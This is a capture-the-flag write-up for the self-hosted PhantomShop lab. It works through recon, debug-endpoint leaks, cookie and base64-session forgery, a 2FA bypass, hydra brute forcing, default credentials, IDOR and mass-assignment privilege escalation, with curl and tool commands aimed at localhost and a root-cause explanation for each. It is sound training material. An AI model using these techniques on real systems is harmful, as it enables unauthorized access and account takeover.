> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PhantomShop (PhantomRange) Writeup Part 1 — Recon, Info Disclosure & Broken Auth
- URL: https://taiwanding.com/en/phantomshop-phantomrange-writeup-recon-auth/
- Published: 2026-07-12T13:28:05.000Z
- Updated: 2026-07-15T02:50:37.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

## Challenge Info

- **Platform**: self-hosted lab machine (GitHub: [phantom-offensive/PhantomRange](https://github.com/phantom-offensive/PhantomRange?ref=taiwanding.com))
- **Application**: PhantomShop — a "fully functional" fashion e-commerce store, packing 50 flags, 18 vulnerability categories, 10,400 points
- **Tech stack**: Go (standard library `net/http` \+ SQLite, pure-Go driver)
- **Difficulty**: mixed Easy \~ Hard
- **Startup**: `docker compose up -d` → `http://localhost:9000`
- **Flag submission**: `POST /flag`, scoreboard at `/scoreboard`, built-in vuln list at `/vulns`

This post grabs **9 flags**: Info Disclosure ×2, IDOR ×2, Auth ×5\. The core theme boils down to one sentence — **this box hands the entire question of "who are you" over to the client to decide**.

## Step 0: Fingerprinting

```bash
whatweb -v http://localhost:9000
curl -sI http://localhost:9000

```

Two key pieces of intel:

**① The Server header is squeaky clean** — no `X-Powered-By`, no framework signatures → pure Go `net/http`. Practical takeaway: for the directory brute-forcing later, **don't waste cycles on `.php`/`.asp`**. Go routes are usually extension-less or `.json`.

**② The CSP is decorative**:

```
Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'

```

`*` \+ `unsafe-inline` \+ `unsafe-eval` \= effectively no policy at all. This one line is already telegraphing that the XSS batch is going to meet almost zero resistance.

## Step 1: Directory and API Enumeration

```bash
# Main directories
feroxbuster -u http://localhost:9000 \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -C 404 -t 50 -d 2

# API-specific wordlist (the README says outright: some flags live in the API, not on pages)
feroxbuster -u http://localhost:9000/api \
  -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
  -H "Cookie: user_id=5; username=kevin; role=admin" -C 404 -t 50

```

**Recon gotcha note**: `/order/<any string>` all returns 200 with roughly identical sizes → this is a **catch-all route** (`/order/{id}` never checks whether the record exists), not hundreds of real endpoints. Don't let feroxbuster's big numbers spook you — cluster the responses by size first and filter out the noise.

The real attack surface after de-duping:

| Endpoint                | Signal                          |
| ----------------------- | ------------------------------- |
| /debug                  | tiny response → info disclosure |
| /api/error              | stack trace                     |
| /api/session            | auth mechanism entry point      |
| /api/user/ /api/order/  | IDOR                            |
| /admin /admin/invoice   | privilege + command injection   |
| /api/export /api/import | path traversal / XXE            |

## Flag 1 — info\_debug\_endpoint (Info Disclosure, Easy, 100)

The first cut is the most obvious:

```bash
curl -s http://localhost:9000/debug

```

```json
{"admin_key":"phantom-admin-2026","db_path":"data/shop.db","debug":true,
 "env":"production","flag":"FLAG{Redacted}","go_version":"go1.24",
 "server":"PhantomShop v2.0"}

```

> **FLAG{**Redacted**}**

This one is worth more than a single flag — it leaks the `admin_key` and `db_path`, which form the intel base for a whole chain of later attacks.

**Root cause**: `debug: true` was left on in `env: production`. A diagnostic endpoint that should only be open in dev made it to prod. Real-world equivalents: exposed `/actuator`, `/debug`, `.env`.

## Flag 2 — info\_error\_stack (Info Disclosure, Easy, 100)

At first I guessed wrong: I threw bad parameters at it hoping to force an exception —

```bash
curl -s "http://localhost:9000/product/abc"   # → 404, clean degradation
curl -s "http://localhost:9000/product/-1"     # → 404

```

This box **degrades gracefully** on garbage input and won't spit a stack. The real trigger is a dedicated endpoint:

```bash
curl -s http://localhost:9000/api/error

```

```
Internal Server Error
goroutine 1 [running]:
    /app/internal/shop/pages.go:342 +0x1a4
    /usr/local/go/src/net/http/server.go:2136 +0x29
🚩 FLAG{Redacted}

```

> **FLAG{**Redacted**}**

**Bonus intel**: the stack trace leaks the app's absolute path `/app/internal/shop/` and the source filename `pages.go` — very handy for picking path-traversal targets later.

**Lesson**: don't assume "bad input → guaranteed stack trace." Feel out the app's error-handling style first, then decide how to trigger it.

## The Pivot: role=admin, One Cookie Opens the Whole Vault

Intercepting an ordinary `/cart/add` request, I noticed the session is three **bare cookies**:

```
user_id=5; username=kevin; role=user

```

`role` sitting in a cookie = letting the browser declare who it is. Change one word:

```bash
curl -s http://localhost:9000/admin -b 'user_id=5; username=kevin; role=admin' \
  | grep -iE 'flag|<h2>'

```

In an instant it flips from "blocking you" to "letting you in." This broken access control is the pivot of the whole game — every reward flag pinned to the admin panel becomes visible in one shot.

## Flag 3 — auth\_jwt (Auth, Medium, 200)

This one stumped me the longest, because the name is misleading. For a while I wanted to crack an HS256 secret and run hashcat — **completely the wrong theater**. The truth is in `/api/session`:

```bash
curl -s http://localhost:9000/api/session

```

```json
{"hint":"Set a 'session' cookie with base64-encoded JSON: {\"user\":\"admin\",\"role\":\"admin\"}"}

```

The so-called "weak JWT secret" is actually a **fake JWT** — it's base64'd JSON with **no signature whatsoever**. Forging it is trivial:

```bash
TOKEN=$(echo -n '{"user":"admin","role":"admin"}' | base64 -w0)
curl -s http://localhost:9000/api/session -b "session=$TOKEN"

```

> **FLAG{**Redacted**}**

**Lesson**: a vuln's name is the "storyline" the box author gave it, not a technical fact. Seeing `jwt`, don't rush to fire up jwt\_tool — look at what that token string actually is first. Three dot-separated segments is a JWT; base64 JSON is merely "encoding," not "encryption," and certainly not a "signature."

## Flag 4 — auth\_2fa (Auth, Hard, 300)

The 2FA flag is likewise pinned to the admin panel. The intended solve hinges on the hint: **is the second factor enforced server-side, or just assumed client-side?** It's the latter here — the 2FA state is marked by a cookie with no server-side enforcement, so you can skip the verification step outright.

> **FLAG{**Redacted**}**

**Root cause**: the auth-step state machine is built on client-controllable data. The most common real-world 2FA bypass is exactly this — a session should only be issued after `/verify` passes, but the implementation issues it at `/login` and treats `/verify` as merely "advisory."

## Flag 5 — auth\_bruteforce (Auth, Easy, 100)

The login endpoint has no rate limiting or lockout whatsoever:

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  localhost -s 9000 http-post-form \
  "/login:username=^USER^&password=^PASS^:invalid"

```

Hammer away — try until you're blue in the face and you'll never get blocked.

> **FLAG{**Redacted**}**

**Root cause**: no rate limiting, no account lockout, no CAPTCHA. This is a "missing-control" type vuln — no cleverness required, you just have to demonstrate that "an attacker can try infinitely."

## Flag 6 — auth\_default\_creds (Auth, Easy, 100)

`/debug` leaked the clue long ago: the admin password was never changed:

```bash
curl -s -i -X POST http://localhost:9000/login \
  -d 'username=admin&password=admin123' | grep -iE 'role=admin|location'

```

`admin / admin123` logs straight in.

> **FLAG{**Redacted**}**

**Root cause**: post-install default credentials left in production. In real pentests, this is always worth a first pass.

## Flag 7 — auth\_pass\_in\_response (Auth, Easy, 100)

The user-query API spits back **the entire row of columns** verbatim:

```bash
curl -s http://localhost:9000/api/user/1 | python3 -m json.tool

```

The response carries a `password` field — the frontend may not display it, but the data was already shipped to the client.

> **FLAG{**Redacted**}**

**Root cause**: the backend lazily does `json.Encode(user)`, dumping whatever columns the DB has, with no response whitelist (DTO). This maps to **OWASP API3: Excessive Data Exposure** (now called Broken Object Property Level Authorization). It's one of the easiest picks in API pentesting — just read the JSON.

## Flag 8 — idor\_profile (IDOR, Easy, 100)

That same `/api/user/{id}` has zero authorization checks — any id pulls any person:

```bash
for i in 1 2 3 4 5; do curl -s "http://localhost:9000/api/user/$i"; echo; done

```

```json
{"email":"admin@phantomshop.com","flag":"FLAG{Redacted}","id":1,"role":"admin","username":"admin"}
{"email":"john@example.com","id":2,"role":"user","username":"john"}
...

```

> **FLAG{**Redacted**}**

**Root cause**: missing object-level authorization (BOLA / OWASP API1). The API only recognizes "did you bring a cookie," not "is this record yours."

## Flag 9 — idor\_mass\_assign (IDOR, Hard, 300)

The profile-update API blindly trusts **every field** you send in:

```bash
curl -s -X POST http://localhost:9000/api/user/update \
  -H 'Content-Type: application/json' \
  -d '{"id":5,"role":"admin"}'

```

> **FLAG{**Redacted**}**

**Root cause**: Mass Assignment. The backend does `json.Unmarshal(body, &user); db.Save(&user)` with no field whitelist, so the extra `role` you sent gets written into the DB → **permanent privilege escalation**.

**The difference from the role=admin cookie** (easy to conflate):

- **Cookie tampering** → changes "the identity the current session claims"; close the browser and it's gone. This is an **authentication** problem.
- **Mass assignment** → writes `role:admin` **into the database**, permanently in effect. This is an **authorization / data-binding** problem.

Real case: in 2012 someone used Rails mass assignment to insert their public key into the official repo's admin account. Rails later enforcing strong parameters was precisely to plug this hole.

## Wrap-up

**The unifying theme**: this box's authentication/authorization design puts "who you are" and "what you can do" entirely in client-controllable places — cookies, base64 tokens, blindly-trusted JSON fields. Real-world broken access control has topped the OWASP Top 10 at #1 for years, built up out of exactly these little "trust the client" decisions.

*This article is an educational record of a self-hosted training lab; all operations were performed in an isolated local environment.*